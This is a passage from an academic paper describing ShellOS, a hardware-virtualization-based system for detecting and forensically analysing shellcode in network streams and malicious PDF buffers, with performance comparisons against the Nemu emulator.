
SHELLOS: Enabling Fast Detection and
Forensic Analysis of Code Injection Attacks

Kevin Z. Snow, Srinivas Krishnan, Fabian Monrose
Department of Computer Science

University of North Carolina at Chapel Hill,
{kzsnow, krishnan, fabian}@cs.unc.edu

Niels Provos
Google,

niels@google.com

Abstract

The availability of off-the-shelf exploitation toolkits for
compromising hosts, coupled with the rapid rate of
exploit discovery and disclosure, has made exploit or
vulnerability-based detection far less effective than it
once was. For instance, the increasing use of metamor-
phic and polymorphic techniques to deploy code injec-
tion attacks continues to confound signature-based de-
tection techniques. The key to detecting these attacks
lies in the ability to discover the presence of the injected
code (or, shellcode). One promising technique for do-
ing so is to examine data (be that from network streams
or buffers of a process) and efficiently execute its con-
tent to find what lurks within. Unfortunately, current ap-
proaches for achieving this goal are not robust to eva-
sion or scalable, primarily because of their reliance on
software-based CPU emulators. In this paper, we ar-
gue that the use of software-based emulation techniques
are not necessary, and instead propose a new framework
that leverages hardware virtualization to better enable the
detection of code injection attacks. We also report on
our experience using this framework to analyze a corpus
of malicious Portable Document Format (PDF) files and
network-based attacks.

1 Introduction

In recent years, code-injection attacks have become a
widely popular modus operandi for performing mali-
cious actions on network services (e.g., web servers and
file servers) and client-based programs (e.g., browsers
and document viewers). These attacks are used to deliver
and run arbitrary code (coined shellcode) on victims’
machines, often enabling unauthorized access and con-
trol of the machine. In traditional code-injection attacks,
the code is delivered by the attacker directly, rather than
already existing within the vulnerable application, as in
return-to-libc attacks. Depending on the specifics of the

vulnerability that the attacker is targeting, injected code
can take several forms, including source code for an in-
terpreted scripting-language, intermediate byte-code, or
natively-executable machine code [17].

Typically, though not always, the vulnerabilities ex-
ploited arise from the failure to properly define and re-
ject improper input. These failures have been exploited
by several classes of code-injection techniques, includ-
ing buffer overflows [24], heap spray attacks [7, 36], and
return oriented programming (ROP)-based attacks [3].
One prominent and contemporary example embodying
these attacks involves the use of popular, cross-platform
document formats, such as the Portable Document For-
mat (PDF), to help compromise systems [37].

Malicious PDF files started appearing on the Internet
a few years ago, and their rise steadily increased around
the same time that Adobe Systems published their PDF
format specifications [34]. Irrespective of when they
first appeared, the reason for their rise in popularity as
a method for compromising hosts is obvious: PDF is
supported on all major operating systems, it supports a
bewildering array of functionality (e.g., Javascript and
Flash), and some applications (e.g., email clients) render
them automatically. Moreover, the “stream objects” in
PDF allow many types of encodings (or “filters” in the
PDF language) to be used, including multi-level com-
pression, obfuscation, and even encryption.

It is not surprising that malware authors quickly re-
alized that these features can be used for nefarious pur-
poses. Today, malicious PDFs are distributed via mass
mailing, targeted email, and drive-by downloads [32].
These files carry an infectious payload that may come
in the form of one or more embedded executables within
the file itself1, or contain shellcode that, after successful
exploitation, downloads additional components.

The key to detecting these attacks lies in accurately
discovering the presence of the shellcode in network
payloads (for attacks on network services) or process
buffers (for client-based program attacks). This, how-



ever, is a significant challenge because of the prevalent
use of metamorphism (i.e., the replacement of a set of
instructions by a functionally-equivalent set of different
instructions) and polymorphism (i.e., a similar technique
that hides a set of instructions by encoding—and later
decoding—them), that allows the shellcode to change its
appearance significantly from one attack to the next.

In this paper, we argue that a promising technique for
detecting shellcode is to examine the input—be that net-
work streams or buffers from a process—and efficiently
execute its content to find what lurks within. While this
idea is not new, we provide a novel approach based on
a new kernel, called ShellOS, built specifically to ad-
dress the shortcomings of current analysis techniques
that use software-based CPU emulation to achieve the
same goal (e.g., [6, 8, 13, 25, 26, 43]). Unlike these ap-
proaches, we take advantage of hardware virtualization
to allow for far more efficient and accurate inspection of
buffers by directly executing instruction sequences on the
CPU. In doing so, we also reduce our exposure to evasive
attacks that take advantage of discrepancies introduced
by software emulation.

The remainder of the paper is organized as follows.
We first present background information and related
work in §2. Next, we discuss the challenges facing
emulation-based approaches in §3. Our framework for
supporting the detection and forensic analysis of code
injection attacks is presented in §4. We provide a perfor-
mance evaluation, as well as a case study of real-world
attacks, in §5. Limitations of our current design are dis-
cussed in §6. Finally, we conclude in §7.

2 Background and Related Work

Early solutions to the problems facing signature-based
detection systems attempted to find the presence of mali-
cious code (for example, in network streams) by search-
ing for tell-tale signs of executable code. For instance,
Toth and Kruegel [38] applied a form of static analysis,
coined abstract payload execution, to analyze the exe-
cution structure of network payloads. While promising,
Fogla et al. [9] showed that polymorphism defeats this
detection approach. Moreover, the underlying assump-
tion that shellcode must conform to discernible structure
on the wire was shown by several researchers [19, 29, 42]
to be unfounded.

Going further, Polychronakis et al. [26] proposed the
use of dynamic code analysis using emulation techniques
to uncover shellcode in code injection attacks target-
ing network services. In their approach, the bytes off
the wire from a network tap are translated into assem-
bly instructions, and a simple software-based CPU em-
ulator employing a read-decode-execute loop is used to
execute the instruction sequences starting at each byte

offset in the inspected input. The sequence of instruc-
tions starting from a given offset in the input is called
an execution chain. The key observation is that to be
successful, the shellcode must execute a valid execution
chain, whereas instruction sequences from benign data
are likely to contain invalid instructions, access invalid
memory addresses, cause general protection faults, etc.
In addition, valid malicious execution chains will exhibit
one or more observable behaviors that differentiate them
from valid benign execution chains. Hence, a network
stream can be flagged as malicious if there is a single
execution chain within the inspected input that does not
cause fatal faults in the emulator before malicious be-
havior is observed. This general notion of network-level
emulation has proven to be quite useful, and has garnered
much attention of late (e.g., [13, 25, 41, 43]).

Recently, Cova et al. [6] and Egele et al. [8] extended
this idea to protect web browsers from so-called “heap-
spray” attacks, where an attacker coerces an application
to allocate many objects containing malicious code in or-
der to increase the success rate of an exploit that jumps
to locations in the heap [36]. These attacks are partic-
ularly effective in browsers, where an attacker can use
JavaScript to allocate many malicious objects [4, 35].
Heap spraying has been used in several high profile at-
tacks on major browsers and document readers. Several
Common Vulnerabilities and Exposure (CVE) disclo-
sures have been released about these attacks in the wild.
To the best of our knowledge, all the aforementioned ex-
ploit detection approaches employ software-based CPU
emulators to detect shellcode in heap objects.

Finally, we note that although runtime analysis of pay-
loads using software-based CPU emulation techniques
has been successful in detecting exploits in the wild [8,
27], the use of software emulation makes them suscepti-
ble to multiple methods of evasion [18, 21, 33]. More-
over, as we show later, software emulation is not scal-
able. Our objective in this paper is to forgo software-
based emulation altogether, and explore the design and
implementation of components necessary for robust de-
tection of code injection attacks.

3 Challenges for Software-based CPU
Emulation Detection Approaches

As alluded to earlier, prior art in detecting code injec-
tion attacks has applied a simple read-decode-execute ap-
proach, whereby data is translated into its corresponding
instructions, and then emulated in software. Obviously,
the success of such approaches rests on accurate software
emulation; however, the instruction set for modern CISC
architectures is very complex, and so it is unlikely that
software emulators will ever be bug free [18].



As a case-in-point, the popular and actively developed
QEMU emulator [2], which employs more advanced em-
ulation techniques based on dynamic binary translation,
does not faithfully emulate the FPU-based Get Program
Counter (GetPC) instructions, such as fnstenv 2. Con-
sequently, some of the most commonly used code in-
jection attacks fail to execute properly, including those
encoded with Metasploit’s popular “shikata ga nai” en-
coder and three other encoders from its arsenal that rely
on this GetPC instruction to decode their payload. While
this may be a boon to QEMU users employing it for full-
system virtualization (as one rarely requires a fully faith-
ful fnstenv implementation for normal application us-
age), using this software emulator as-is for injected code
detection would be fairly ineffective. In fact, we aban-
doned our earlier attempts at building a QEMU-based de-
tection system for exactly this reason.

To address accurate emulation of machine instructions
typically used in code injection attacks, special-purpose
CPU emulators (e.g. nemu [28], libemu [1]) were
developed. Unfortunately, they suffer from a different
problem: large subsets of instructions rarely used by in-
jected code are skipped when encountered in the instruc-
tion stream. The result is that any discrepancy between
an emulated instruction and the behavior on real hard-
ware potentially allows shellcode to evade detection by
altering its behavior once emulation is detected [21, 33].
Indeed, the ability to detect emulated enviroments is al-
ready present in modern exploit toolkits.

Arguably, a more practical limitation of emulation-
based detection is that of performance. When this ap-
proach is used in network-level emulation, for example,
the overhead can be non-trivial since (i) the vast major-
ity of network streams will contain benign data, some of
which might be significant in size, (ii) successfully de-
tecting even non-sophisticated shellcode can require the
execution of thousands of instructions, and (iii) a sepa-
rate execution chain must be attempted for each offset in
a network stream because the starting location of injected
code is unknown.

To avoid these obstacles, the current state of practice is
to limit run-time analysis to the first n bytes (e.g., 64kb)
of one side of a network stream, to examine flows to
only known servers or from known services, or to termi-
nate execution after some threshold of instructions (e.g.,
2048) has been reached [25, 27, 43]. It goes without say-
ing that imposing such stringent run-time restrictions in-
evitably leads to the possibility of missing attacks (e.g.,
in the unprocessed portions of streams).

One might argue that more advanced software-based
emulation techniques such as dynamic binary transla-
tion [30] could offer significant performance enhance-
ments over the simple emulation used in current state-of-
the-art dynamic shellcode detectors. However, the per-

formance benefit of dynamic binary translation hinges
on the assumption that code blocks are translated once,
but executed many times. While this assumption holds
true with typical application usage, executing random
streams of data (as in network-level emulation) results in
short instruction sequences ending in a fault, rather than
a structured program flow. Furthermore, dynamic binary
translation still has the problem of emulation accuracy.

Lastly, it is common for software-based CPU em-
ulation techniques to omit processing of some exe-
cution chains as a performance-boosting optimization
(e.g., only executing instruction sequences that contain a
GetPC instruction, or skipping an execution chain if the
starting instruction was already executed during a previ-
ous execution chain). Unfortunately, such optimizations
are unsafe, in that they are susceptible to evasion. For in-
stance, in the former case, metamorphic code may evade
detection by, for example, pushing data representing a
GetPC instruction to the stack and then executing it.

begin snippet

0 exit:
1 in al, 0x7 ; Chain 1
2 mov eax, 0xFF ; Chain 2 begins
3 mov ebx, 0x30 ; Chain 2
4 cmp eax, 0xFF ; Chain 2
5 je exit ; Chain 2 ends
6 mov eax, fs:[ebx] ; Chain 3 begins

...

end snippet

Figure 1: Sample instruction sequence

In the latter case, consider the sequence shown in Fig-
ure 1. The first execution chain ends after a single priv-
ileged instruction. The second execution chain executes
instructions 2 to 5 before ending due to a conditional
jump to a privileged instruction. Now, since instructions
3, 4, and 5 were already executed in the second execu-
tion chain they are skipped (as a beginning offset) as a
performance optimization. The third execution chain be-
gins at instruction 6 with an access to the Thread Envi-
ronment Block (TEB) data structure to the offset speci-
fied by ebx. Had the execution chain beginning at in-
struction 3 not been skipped, ebx would be loaded with
0x30. Instead, ebx is now loaded with a random value
set by the emulator at the beginning of each execution
chain. Thus, if detecting an access to the memory loca-
tion at fs:[0x30] is critical to detecting injected code,
the attack will be missed.

4 Our Approach: SHELLOS

Unlike prior approaches, we take advantage of the ob-
servation that the most widely used heuristics for shell-
code detection exploit the fact that, to be successful, the
injected shellcode typically needs to read from memory



(e.g., from addresses where the payload has been mapped
in memory, or from addresses in the Process Environ-
ment Block (PEB)), write the payload to some memory
area (especially in the case of polymorphic shellcode),
or transfer flow to newly created code [16, 22, 23, 25–
28, 41, 43]. For instance, the execution of shellcode of-
ten results in the resolution of shared libraries (DLLs)
through the PEB. Rather than tracing each instruction
and checking whether its memory operands can be clas-
sified as “PEB reads,” we allow instruction sequences to
execute directly on the CPU using hardware virtualiza-
tion, and only trace specific memory reads, writes, and
executions through hardware-supported paging mecha-
nisms.

Our design for enabling hardware-support of code in-
jection attacks is built upon a virtualization solution [12]
known as Kernel-based Virtual Machine (KVM). We use
the KVM hypervisor to abstract Intel VT and AMD-V
hardware virtualization support. At a high level, the
KVM hypervisor is composed of a privileged domain
and a virtual machine monitor (VMM). The privileged
domain is used to provide device support to unprivileged
guests. The VMM, on the other hand, manages the phys-
ical CPU and memory and provides the guest with a vir-
tualized view of the system resources.

In a hardware virtualized platform, the VMM only
mediates processor events (e.g., via instructions such
as VMEntry and VMExit on the Intel platform) that
would cause a change in the entire system state, such as
physical device IO, modifying CPU control registers, etc.
Therefore, it no longer emulates guest instruction execu-
tions as with software-based CPU emulation; execution
happens directly on the processor, without an interme-
diary instruction translation. We take advantage of this
design to build a new kernel, called ShellOS, that runs
as a guest OS using KVM and whose sole task is to de-
tect and analyze code injection attacks. The high-level
architecture is depicted in Figure 2.

4.1 The SHELLOS Interface

ShellOS can be viewed as a black box, wherein a buffer
is supplied to ShellOS by the privileged domain for in-
spection via an API call. ShellOS performs the anal-
ysis and reports (1) if injected code was found, (2) the
location in the buffer where the shellcode was found, and
(3) a log of the actions performed by the shellcode.

A library within the privileged domain provides the
ShellOS API call, which handles the sequence of ac-
tions required to initialize guest mode via the KVM
ioctl interface. One notable feature of initializing
guest mode in KVM is the assignment of guest phys-
ical memory from a userspace-allocated buffer. We
use this feature to satisfy a critical requirement — that

is, efficiently moving buffers into ShellOS for analy-
sis. Since offset zero of the userspace-allocated mem-
ory region corresponds to the guest physical address of
0x0, we can reserve a fixed memory range within the
guest address space where the privileged domain library
writes the buffers to be analyzed. These buffers are then
directly accessible to the ShellOS guest at the pre-
defined physical address.

The privileged domain library also optionally allows
the user to specify a process snapshot for ShellOS to
use as the default environment. The details about this
snapshot are given later in §4.5, but for now it is suf-
ficient to note that the intention is to allow the user to
analyze buffers in an environment as similar as possible
to what the injected code would expect. For example,
a user analyzing buffers extracted from a PDF process
may provide an Acrobat Reader snapshot, while one an-
alyzing Flash objects might supply an Internet Explorer
snapshot. While malicious code detection may typically
occur without this extra data, it provides a realistic envi-
ronment for our post facto diagnostics.

When the privileged domain first initializes
ShellOS, it completes its boot sequence (detailed
next) and issues a VMExit. When the ShellOS API
is called to analyze a buffer, it is copied to the fixed
shared region before a VMEnter is issued. ShellOS
completes its analysis and writes the result to the shared
region before issuing another VMExit, signaling that
the kernel is ready for another buffer. Finally, we build
a thread pool into the library where-in each buffer to be
analyzed is added to a work queue and one of n workers
dequeues the job and analyzes the buffer in a unique
instance of ShellOS.

4.2 The SHELLOS Kernel

To set up our execution environment, we initialize the
Global Descriptor Table (GDT) to mimic a Windows en-
vironment. More specifically, code and data entries are
added for user and kernel modes using a flat 4GB mem-
ory model, a Task State Segment (TSS) entry is added
that denies all usermode IO access, and a special en-
try that maps to the virtual address of the Thread En-
vironment Block (TEB) is added. We set the auxiliary
FS segment register to select the TEB entry, as done by
the Windows kernel. Therefore, regardless of where the
TEB is mapped into memory, code (albeit benign or ma-
licious) can always access the data structure at FS:[0].
This “feature” is commonly used by injected code to find
shared library locations, and indeed, access to this region
of memory has been used as a heuristic for identifying
injected code [28].

Virtual memory is implemented with paging, and mir-
rors that of a Windows process. Virtual addresses above
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3GB are reserved for the ShellOS kernel. The ker-
nel supports loading arbitrary snapshots created using
the minidump format [20] (e.g., used in tools such as
WinDBG). The minidump structure contains the neces-
sary information to recreate the state of the running pro-
cess at the time the snapshot was taken. Once all regions
in the snapshot have been mapped, we adjust the TEB en-
try in the Global Descriptor Table to point to the actual
TEB location in the snapshot.

Control Loop Recall that ShellOS’ primary goal is
to enable fast and accurate detection of input contain-
ing shellcode. To do so, we must support the ability to
execute the instruction sequences starting at every off-
set in the inspected input. Execution from each offset
is required since the first instruction of the shellcode is
unknown. The control loop in ShellOS is responsi-
ble for this task. Once ShellOS is signaled to begin
analysis, the fpu,mmx, xmm, and general purpose reg-
isters are randomized to thwart injection attacks that try
to hinder analysis by guessing fixed register values (set

by ShellOS) and end execution early upon detection
of these conditions. The program counter is set to the
address of the buffer being analyzed. Buffer execution
begins when ShellOS transitions to usermode with the
iret instruction. At this point, instructions are executed
directly on the CPU in usermode until execution is inter-
rupted by a fault, trap, or timeout. The control loop is
therefore completely interrupt driven.

We define a fault as an unrecoverable error in the in-
struction stream, such as attempting to execute a privi-
leged instruction (e.g., the in al, 0x7 instruction in
Figure 2), or encountering an invalid opcode. The kernel
is notified of a fault through one of 32 interrupt vectors
indicating a processor exception. The Interrupt Descrip-
tor Table (IDT) points all fault-generating interrupts to a
generic assembly-level routine that resets usermode state
before attempting the next execution chain.3

We define a trap, on the other hand, as a recoverable
exception in the instruction stream (e.g., a page fault re-
sulting from a needed, but not yet paged-in, virtual ad-
dress), and once handled appropriately, the instruction
stream continues execution. Traps provide an opportu-



nity to coarsely trace some actions of the executing code,
such as reading an entry in the TEB. To deal with in-
struction sequences that result in infinite loops, we cur-
rently use a rudimentary approach wherein ShellOS
instructs the programmable interval timer (PIT) to gen-
erate an interrupt at a fixed frequency. When this timer
fires twice in the current execution chain (guaranteeing
at least 1 tick interval of execution time), the chain is
aborted. Since the PIT is not directly accessible in guest
mode, KVM emulates the PIT timer via privileged do-
main timer events implemented with hrtimer, which
in turn uses the High Precision Event Timer (HPET) de-
vice as the underlying hardware timer. This level of indi-
rection imposes an unavoidable performance penalty be-
cause external interrupts (e.g. ticks from a timer) cause a
VMExit.

Furthermore, the guest must signal that each inter-
rupt has been handled via an End-of-Interrupt (EOI). The
problem here is that EOI is implemented as a physical de-
vice IO instruction which requires a second VMExit for
each tick. The obvious trade-off is that while a higher
frequency timer would allow us to exit infinite loops
quickly, it also increases the overhead associated with en-
tering and exiting guest mode (due to the increased num-
ber of VMExits). To alleviate some of this overhead, we
place the KVM-emulated PIT in what is known as Auto-
EOI mode. This mode allows new timeout interrupts to
be received without requiring a device IO instruction to
acknowledge the previous interrupt. In this way, we ef-
fectively cut the overhead in half. We return later to a
discussion on setting appropriate timer frequencies, and
its implications for run-time performance.

The complete ShellOS kernel is composed of 2471
custom lines of C and assembly code.

4.3 Detection

The ShellOS kernel provides an efficient means to ex-
ecute arbitrary buffers of code or data, but we also need a
mechanism for determining if these execution sequences
represent injected code. One of our primary contribu-
tions in this paper is the ability to modularly use exist-
ing runtime heuristics in an efficient and accurate frame-
work that does not require tracing every machine-level
instruction, or performing unsafe optimizations. A key
insight towards this goal is the observation that existing
reliable detection heuristics really do not require fine-
grained instruction-level tracing, rather, coarsely tracing
memory accesses to specific locations is sufficient.

Towards this goal, a handful of approaches are readily
available for efficiently tracing memory accesses; e.g.,
using hardware supported debug registers, or exploring
virtual memory based techniques. Hardware debug reg-
isters are limited in that only a few memory locations

may be traced at one time. Our approach, based on
virtual memory, is similar in implementation to stealth
breakpoints [40] and allows for an unlimited number
of memory traps to be set to support multiple runtime
heuristics defined by an analyst.

Recall that an instruction stream will be interrupted
with a trap upon accessing a memory location that gen-
erates a page fault. We may therefore force a trap to oc-
cur on access to an arbitrary virtual address by clearing
the present bit of the page entry mapping for that ad-
dress. For each address that requires tracing we clear the
corresponding present bit and set the OS reserved
field to indicate that the kernel should trace accesses
to this entry. When a page fault occurs, the interrupt
descriptor table (IDT) directs execution to an interrupt
handler that checks these fields. If the OS reserved
field indicates tracing is not requested, then the page
fault is handled according to the region mappings de-
fined in the process’ snapshot. Regardless of where the
analyzed buffers originate from (e.g., a network packet
or a heap object) a Windows process snapshot is always
loaded in ShellOS in order to populate OS data struc-
tures (e.g., the TEB), and to load data commonly present
(e.g., shared libraries) when injected code executes.

When a page entry does indicate that tracing should
occur, and the faulting address (accessible via the CR2
register) is in a list of desired address traps (provided, for
example, by an analyst), the page fault must be logged
and appropriately handled. In handling a page fault re-
sulting from a trap, we must first allow the page to be
accessed by the usermode code, then reset the trap im-
mediately to ensure trapping future accesses to that page.
To achieve this, the handler sets the present bit in the
page entry (enabling access to the page) and the TRAP
bit in the flags register, then returns to the usermode
instruction stream. As a result, the instruction that origi-
nally caused the page fault is now successfully executed
before the TRAP bit forces an interrupt. The IDT then
forwards the interrupt to another handler that unsets the
TRAP and present bits so that the next access to that
location can be traced. Our approach allows for tracing
of any virtual address access (read,write, execute), with-
out a predefined limit on the number of addresses to trap.

Detection Heuristics ShellOS, by design, is not tied
to any specific set of behavioral heuristics. Any heuris-
tic based on memory reads, writes, or executions can
be supported with coarse-grained tracing. To highlight
the strengths of ShellOS, we chose to implement the
PEB heuristic proposed by Polychronakis et al. [28].
That particular heuristic was chosen for its simplicity,
as well as the fact that it has already been shown to be
successful in detecting a wide array of Windows shell-
code. This heuristic detects injected code that parses



the process-level TEB and PEB data structures in order
to locate the base address of shared libraries loaded in
memory. The TEB contains a pointer to the PEB (ad-
dress FS:[0x30]), which contains a pointer to yet an-
other data structure (i.e., LDR DATA) containing several
linked lists of shared library information.

The detection approach given in [28] checks if
accesses are being made to the PEB pointer, the
LDR DATA pointer, and any of the linked lists. To im-
plement their detection approach, we simply set a trap on
each of these addresses and report that injected code has
been found when the necessary conditions are met. This
heuristic fails to detect certain cases, but we reiterate that
any number of other heuristics could be chosen instead.
We leave this as future work.

4.4 Diagnostics
Although efficient and reliable identification of code in-
jection attacks is an important contribution of this paper,
the forensic analysis of the higher-level actions of these
attacks is also of significant value to security profession-
als. To this end, we provide a method for reporting foren-
sic information about a buffer where shellcode has been
detected. Again, we take advantage of the memory snap-
shot facility discussed earlier (§ 4.5) to obtain a list of
virtual addresses associated with API calls for various
shared libraries. We place traps on these addresses, and
when triggered, a handler for the corresponding call is
invoked. That handler pops function parameters off the
usermode stack, logs the call and its supplied parameters,
performs actions needed for the successful completion of
that call (e.g., allocating heap space), and then returns to
the injected code.

Obviously, due to the myriad of API calls available,
one cannot expect the diagnostics to be complete. Keep
in mind, however, that the lack of completeness in our
diagnostics facility is independent of the actual detection
of injected code. The ability to extend the level of diag-
nostic information is straightforward, but tedious. That
said, as shown later, we are able to provide a wealth of
diagnostic information on a diverse collection of self-
contained [27] shellcode injection attacks.

4.5 Extensibility
The capabilities provided by ShellOS are but one com-
ponent in an overall framework necessary to detect code
injection attacks. This larger framework should support
the loading of custom process snapshots and arbitrary
shellcode detection heuristics, each defined by a list of
read, write, or execute memory traps. Since ShellOS
only detects and diagnoses the buffers of data provided,
there must be some mechanism for providing buffers of

data we suspect contain injected code. To this end, we
built two platforms that rely on ShellOS to scan buffers
for injected code; one to detect client-based program at-
tacks such as the malicious PDFs discussed earlier, and
another to detect attacks on network services that oper-
ates as a network intrusion detection system.

Supporting Detection of Code Injection in Client-
based Programs: To showcase ShellOS’ promise as
a platform upon which other modules can be built, we
implemented a lightweight memory monitoring facility
that allows ShellOS to scan buffers created by docu-
ments loaded in the process space of a prescribed reader
application. In this context, a document is any file or
object that may be opened with it’s corresponding pro-
gram, such as a PDF, Microsoft Word document, Flash
object, HTML page, etc. This platform may be useful to
an enterprise as a network service wherein documents are
automatically sent for analysis (e.g. by extraction from
network streams or an email server) or manually submit-
ted by an analyst in a forensic investigation.

The approach we take to detect shellcode in malicious
documents is to let the reader application handle ren-
dering of the content while monitoring any buffers cre-
ated by it, and signaling ShellOS to scan these buffers
for shellcode (using existing heuristics). This approach
has several advantages. An important one is that we do
not need to worry about recreating any document object
model, handling obfuscated javascript, or dealing with
all the other idiosyncrasies that pose challenges for other
approaches [6, 8, 39]. We simply need to analyze the
buffers created when rendering the document in a quar-
antined environment. The challenge lies in doing all of
this as efficiently as possible.

To support this goal, we provide a monitoring facil-
ity that is able to snapshot the memory contents of pro-
cesses. The snapshots are constructed in a manner that
captures the entire process state, the virtual memory lay-
out, as well as all the code and data pages within the pro-
cess. The data pages contain the buffers allocated on the
heap, while the code pages contain all the system mod-
ules that must be loaded by ShellOS to enable analy-
sis. Our memory tracing facility includes less than 900
lines of custom C/C++ code. A high level view of the
approach is shown in Figure 3.

This functionality was built specifically for the Win-
dows OS and can support any application running on
Windows. The memory snapshots are created using cus-
tom software that attaches to an arbitrary application pro-
cess and stores contents of memory using the function-
ality provided by Windows’ debug library (DbgHelp).
We capture buffers that are allocated on the heap (i.e.,
pages mapped as RW), as well as thread and module in-
formation. The results are stored in minidump format,
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which contains all the information required to recreate
the process within ShellOS, including all dlls, the
PEB/TEB, register state, the heap and stack, and the vir-
tual memory layout of these components.

Supporting Detection of Code Injection in Network
Services: Another use-case for ShellOS is detecting
code injection attacks targeting network services. While
the shellcode embedded in client-based program code
injection attacks is typically obfuscated in multiple lay-
ers of encoding (e.g. compressed form → javascript →
shellcode), attacks on network services are often present
directly as executable shellcode on the wire. As noted
by Polychronakis et al. [26], we may use this observa-
tion to build a platform to detect code injection attacks
on network services by reassembling observed network
streams and executing each of these streams. This plat-
form may be used in an enterprise as a component of
an network intrusion detection system or for post-facto
analysis of a network capture in a forensic investigation.

5 Evaluation

In the analysis that follows, we first examine ShellOS’
ability to faithfully execute network payloads and suc-
cessfully trigger the detection heuristics when shellcode
is found. Next, we examine the performance benefits of
the ShellOS framework when compared to software-
emulation. We also report on our experience using
ShellOS to analyze a collection of suspicious PDF doc-
uments. All experiments were conducted on an Intel

Encoder Nemu ShellOS

countdown Y Y
fnstenv mov Y Y

jmp call additive Y Y
shikata ga nai Y Y

call4 dword xor Y Y
alpha mixed Y Y
alpha upper N Y

TAPiON Y* Y

Table 1: Off-the-Shelf Shellcode Detection.

Xeon Quad Processor machine with 32 GB of memory.
The host OS was Ubuntu with kernel version 2.6.35.

5.1 Performance

To evaluate our performance, we used Metasploit to
launch attacks in a virtualized environment. For each
encoder, we generated 100s of attack instances by ran-
domly selecting 1 of 7 exploits, 1 of 9 self-contained
payloads that utilize the PEB for shared library resolu-
tion, and randomly generated parameter values associ-
ated with each type of payload (e.g. download URL, bind
port, etc.). As the attacks launched, we captured the net-
work traffic for later network-level buffer analysis.

We also encoded several payload instances using
an advanced polymorphic engine, called TAPiON4.
TAPiON incorporates features designed to thwart emula-
tion. Each of the encoders we used (see Table 1) are con-
sidered to be self-contained [25] in that they do not re-
quire additional contextual information about the process
they are injected into in order to function properly. In-
deed, we do not specifically address non-self-contained
shellcode in this paper.

For the sake of comparison, we chose a software-based
solution (called Nemu [28]), that is reflective of the cur-
rent state of the art. Nemu and ShellOS both performed
well in detecting all the instances of the code injection at-
tacks developed using Metasploit, with a few exceptions.

Surprisingly, Nemu failed to detect shellcode gener-
ated using the alpha upper encoder. Since the en-
coder payload relies on accessing the PEB for shared li-
brary resolution, we expected both Nemu and ShellOS
to trigger this detection heuristic. We speculate that
Nemu is unable to handle this particular case because
of inaccurate emulation of its particular instruction
sequences—underscoring the need to directly execute
the shellcode on hardware.

More pertinent to the discussion is that while the
software-based emulation approach is capable of de-
tecting shellcode generated with the TAPiON engine,
performance optimization limits its ability to do so.
The TAPiON engine attempts to confound detection
by basing its decoding routines on timing components



(namely, the RDTSC instruction) and uses a plethora of
CPU-intensive coprocessor instructions in long loops to
slow runtime-analysis. These long loops quickly reach
Nemu’s default execution threshold (2048) prior to any
heuristic being triggered. This is particularly problem-
atic because no GetPC instruction is executed until these
loops complete.

Furthermore, software-based emulators simply treat
the majority of coprocessor instructions as NOPs. While
TAPiON does not currently use the result of these in-
structions in its decoding routine, it only takes minor
changes to the out-of-the-box engine to incorporate these
results and thwart detection (hence the “*” in Table 1).
ShellOS, on the other hand, fully supports all copro-
cessor instructions with its direct CPU execution.

More problematic for these classes of approaches is
that successfully detecting code encoded by engines such
as TAPiON can require following very long execution
chains (e.g., well over 60, 000 instructions). To examine
the runtime performance of our prototype, we randomly
generated 1000 benign inputs, and set the instructions
thresholds (in both approaches) to the levels required to
detect instances of TAPiON shellcode.
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Figure 4: ShellOS Performance

Since ShellOS currently cannot directly set an in-
struction threshold (due to the coarse-grained tracing ap-
proach), we approximate the required threshold by ad-
justing the execution chain timeout frequency. As the
timer frequency increases, the number of instructions ex-
ecuted per execution chain decreases. Thus, we exper-
imentally determined the maximum frequency needed
to execute the TAPiON shellcodes that required 10k,
16k, and 60k instruction executions to complete their
loops. These timer frequencies are 5000HZ, 4000HZ,
and 1000HZ, respectively. Note that in the common
case, ShellOS can execute many more instructions, de-
pending on the speed of individual instructions. TAPiON

code, however, is specifically designed to use the slower
FPU-based instructions. (ShellOS can execute over 4
million fast NOP instructions in the same time interval
that only 60k FPU-heavy instructions are executed.)

The results are shown in Figure 4. The labeled
points on the lineplot indicate the minimum execution
chain length required to detect the three representative
TAPiON samples. For completeness, we show the per-
formance of Nemu with and without unsafe execution
chain pruning (see §3). When unsafe pruning is used,
software-emulation does better than ShellOS on a sin-
gle core at very low execution thresholds. This is not
too surprising, as the higher clock frequencies required to
support short execution chains in ShellOS incur addi-
tional overhead (see §4). However, with longer execution
chains, the real benefit of ShellOS becomes apparent—
ShellOS (on a single core) is an order of magnitude
faster than Nemu when unsafe execution chain pruning
is disabled. Finally, we observe that the worker queue
provided by the ShellOS host-side library efficiently
multi-processes buffer analysis, and demonstrates that
multi-processing offers a viable alternative to the unsafe
elimination of execution chains.

A note on 64-bit architectures The performance of
ShellOS is even more compelling when one takes
into consideration the fact that in 64-bit architectures,
program counter relative addressing is allowed—hence,
there is no need for shellcode to use any form of “Get
Program Counter” code to locate its address on the stack;
a limitation that has been widely used to detect tradi-
tional 32-bit shellcode using (very) low execution thresh-
olds. This means that as 64-bit architectures become
commonplace, shellcode detection approaches using dy-
namic analysis must resort to heuristics that require the
shellcode to fully decode. The implications are that
the requirement to process long execution chains, such
as those already exhibited by today’s advanced engines
(e.g., Hydra [29] and TAPiON), will be of far more sig-
nificance than it is today.

5.2 Throughput
To better study our throughput on network streams,
we built a testbed consisting of 32 machines running
FreeBSD 6.0 and generated traffic using a state-of-the-
art traffic generator, Tmix [15]. The network traffic is
routed between the machines using Linux-based soft-
ware routers. The link between the two routers is tapped
using a gigabit fiber tap, with the traffic diverted to our
detection appliance (i.e., running ShellOS or Nemu),
as well as to a network monitor that constantly monitors
the network for throughput and losses. The experimental
setup is shown in Figure 5.
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Figure 5: Experimental testbed with end systems generating traffic using Tmix. Using a network tap, we monitor the
throughput on one system, while ShellOS or Nemu attempt to analyze all traffic on another system.

Tmix synthetically regenerates TCP traffic that
matches the statistical properties of traffic observed in
a given network trace; this includes source level prop-
erties such as file and object size distributions, number
of simultaneously active connections and also network
level properties such as round trip time. Tmix also pro-
vides a block resampling algorithm to achieve a target
throughput while preserving the statistical properties of
the original network trace.

We supply Tmix with a network trace of HTTP con-
nections captured on the border links of UNC-Chapel
Hill in October, 20095. The trace represents 1-hour of
activity, which is more than long enough to capture dis-
tributions for many statistical measures indistinguishable
from longer traces [14]. Using Tmix block resampling,
we run two 1-hour experiments based on the original
trace where Tmix attempts to maintain a throughput of
100Mbps in the first experiment and 350Mbps in the sec-
ond experiment. The actual throughput fluctuates some
as Tmix maintains statistical properties observed in the
original network trace. We repeat each experiment with
the same seed (to generate the same traffic) using both
Nemu and ShellOS.

Both ShellOS and Nemu are configured to only ana-
